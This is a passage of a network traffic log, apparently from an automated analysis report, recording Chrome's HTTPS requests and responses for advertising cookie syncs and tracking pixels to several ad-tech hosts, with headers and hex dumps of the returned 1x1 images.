2024-05-23 22:35:06 UTC	1076	IN	HTTP/1.1 200 OK content-type: text/html set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicnViaWNvbiI6eyJ1aWQiOiJMV0pUWkFCTi1YLUs0UFciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi44OTAzMjAxMjlaIn0sInR0ZCI6eyJ1aWQiOiIzZTA3N2JiNC1iZjRhLTRjMTktOTMzZS1jOThkZGQ4ODE0MmUiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNC42OTUzODA2OTRaIn19fQ==; Path=/; Domain=pbs.yahoo.com; Expires=Thu, 21 Nov 2024 22:35:06 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 0 date: Thu, 23 May 2024 22:35:06 GMT x-envoy-upstream-service-time: 1 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
497	192.168.2.6	50320	54.170.121.32	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	764	OUT	GET /v000/sync?userid=9165965397510453586&pn_id=an HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.yieldmo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; re_sync=pp%3D1192856%7Crc%3D1192856%7Cc%3D1192856%7Cdv360%3D1192856%7Can%3D1192856
2024-05-23 22:35:06 UTC	774	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif;charset=utf-8 Content-Length: 43 Connection: close Set-Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:06 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Set-Cookie: ptran=9165965397510453586; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:06 GMT; Domain=ads.yieldmo.com; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile
2024-05-23 22:35:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
498	192.168.2.6	50294	52.209.232.1	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	703	OUT	GET /sync/openx/bb892c0e-3763-ec08-d0f9-b15a85369a1f?gdpr=0 HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:06 UTC	550	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif Content-Length: 43 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic
2024-05-23 22:35:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 cc cc cc ff ff ff 21 f9 04 05 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
499	192.168.2.6	50218	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	1053	OUT	GET /setuid?bidder=appnexus&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=9165965397510453586 HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwidHRkIjp7InVpZCI6IjNlMDc3YmI0LWJmNGEtNGMxOS05MzNlLWM5OGRkZDg4MTQyZSIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjA0LjY5NTM4MDY5NFoifX19
2024-05-23 22:35:06 UTC	1077	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiI5MTY1OTY1Mzk3NTEwNDUzNTg2IiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MDYuODY0MjcwMDQxWiJ9LCJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwidHRkIjp7InVpZCI6IjNlMDc3YmI0LWJmNGEtNGMxOS05MzNlLWM5OGRkZDg4MTQyZSIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjA0LjY5NTM4MDY5NFoifX19; Path=/; Domain=pbs.yahoo.com; Expires=Thu, 21 Nov 2024 22:35:06 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Thu, 23 May 2024 22:35:06 GMT x-envoy-upstream-service-time: 1 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:35:06 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
500	192.168.2.6	50323	34.98.64.218	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	831	OUT	GET /w/1.0/sd?id=537072971&val=8369ae03-bf51-422b-a15c-33306b0e1dfe&ttd_puid=2f4e4a4a-a7cf-7e41-e12e-a7af7a615756&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yahoo-bidout-d.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; pd=v2\|1716503697\|vMgavPkWgyiK
2024-05-23 22:35:06 UTC	568	IN	HTTP/1.1 200 OK Vary: Accept Set-Cookie: univ_id=537072971\|8369ae03-bf51-422b-a15c-33306b0e1dfe\|1716503706850093; Version=1; Expires=Fri, 07-Jun-2024 22:35:06 GMT; Max-Age=1296000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
501	192.168.2.6	50256	34.36.216.150	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	698	OUT	GET /dmp/pixelSync?cookieQ=1&nid=3&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ssi=12d5e394-d925-4890-aef8-b87a788fd063#1716503705668
2024-05-23 22:35:06 UTC	840	IN	HTTP/1.1 302 Found cache-control: max-age=0,no-cache,no-store pragma: no-cache expires: Tue, 11 Oct 1977 12:34:56 GMT p3p: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" set-cookie: ssi=12d5e394-d925-4890-aef8-b87a788fd063#1716503705668; Domain=.sitescout.com; Expires=Fri, 23-May-2025 22:35:06 GMT; Path=/; Secure; SameSite=None set-cookie: _ssuma=eyI0NSI6MTcxNjUwMzcwNjg1N30; Domain=.sitescout.com; Expires=Sat, 22-Jun-2024 22:35:06 GMT; Path=/; Secure; SameSite=None location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5NjkmdGw9MTI5NjAw&piggybackCookie=12d5e394-d925-4890-aef8-b87a788fd063-664fc499-5553&gdpr=0&gdpr_consent= Content-Length: 0 date: Thu, 23 May 2024 22:35:06 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
502	192.168.2.6	50243	69.166.1.66	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	123	IN	HTTP/1.1 408 Request Time-out Content-length: 110 Cache-Control: no-cache Connection: close Content-Type: text/html
2024-05-23 22:35:06 UTC	110	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 38 20 52 65 71 75 65 73 74 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 69 64 6e 27 74 20 73 65 6e 64 20 61 20 63 6f 6d 70 6c 65 74 65 20 72 65 71 75 65 73 74 20 69 6e 20 74 69 6d 65 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>408 Request Time-out</h1>Your browser didn't send a complete request in time.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
503	192.168.2.6	50326	13.248.245.213	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	664	OUT	GET /ebda?gdpr=0&gdpr_consent= HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440
2024-05-23 22:35:07 UTC	172	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:07 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate
2024-05-23 22:35:07 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
504	192.168.2.6	50332	52.46.155.104	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	720	OUT	GET /ecm3?id=LWJTZABN-X-K4PW&ex=d-rubiconproject.com&status=ok&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY; ad-privacy=0
2024-05-23 22:35:07 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: MB3B9Q1RPSS372A4763E Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-23 22:35:07 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
505	192.168.2.6	50325	13.248.245.213	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	732	OUT	GET /xuid?mid=5989&xuid=CAESEDunR39p6uOag-kf4Op45Fg&dongle=c627&gdpr=0&gdpr_consent=&google_cver=1 HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440
2024-05-23 22:35:07 UTC	612	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:07 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3476490108663385185440; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:07 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3476490108663385185440; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:07 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-05-23 22:35:07 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
506	192.168.2.6	50321	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	737	OUT	GET /pixel?google_nid=rp&google_hm=TFdKVFpBQk4tWC1LNFBX&google_push=&gdpr=0 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
2024-05-23 22:35:07 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 23 May 2024 22:35:07 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:07 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
507	192.168.2.6	50328	54.170.121.32	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	820	OUT	GET /v000/sync?userid=7WXU1ZUhF2Kx&ev=1&pn_id=pp&gpp_sid=&gpp=&us_privacy=&pid=561118&gdpr_consent=&gdpr=0 HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.yieldmo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; re_sync=pp%3D1192856%7Crc%3D1192856%7Cc%3D1192856%7Cdv360%3D1192856%7Can%3D1192856
2024-05-23 22:35:07 UTC	767	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:07 GMT Content-Type: image/gif;charset=utf-8 Content-Length: 43 Connection: close Set-Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:07 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Set-Cookie: ptrpp=7WXU1ZUhF2Kx; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:07 GMT; Domain=ads.yieldmo.com; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile
2024-05-23 22:35:07 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
508	192.168.2.6	50327	54.170.121.32	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	789	OUT	GET /v000/sync?pn_id=c&google_gid=CAESEOEc1rz1IR8Gw4xvRTDNP88&google_cver=1 HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.yieldmo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; re_sync=pp%3D1192856%7Crc%3D1192856%7Cc%3D1192856%7Cdv360%3D1192856%7Can%3D1192856
2024-05-23 22:35:07 UTC	781	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:07 GMT Content-Type: image/gif;charset=utf-8 Content-Length: 43 Connection: close Set-Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:07 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Set-Cookie: ptrc=CAESEOEc1rz1IR8Gw4xvRTDNP88; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:07 GMT; Domain=ads.yieldmo.com; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile
2024-05-23 22:35:07 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
509	192.168.2.6	50331	95.101.148.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	790	OUT	GET /cksync.html?cs=8&vsid=3595052986404735000V10&type=opx&refUrl=&vid=65037015853595052986404735000V10&axid_e=&ovsid=e76223d5-0ccf-44a1-8261-d9c1c88ec58a HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: usp_status=1; visitor-id=3595052986404735000V10
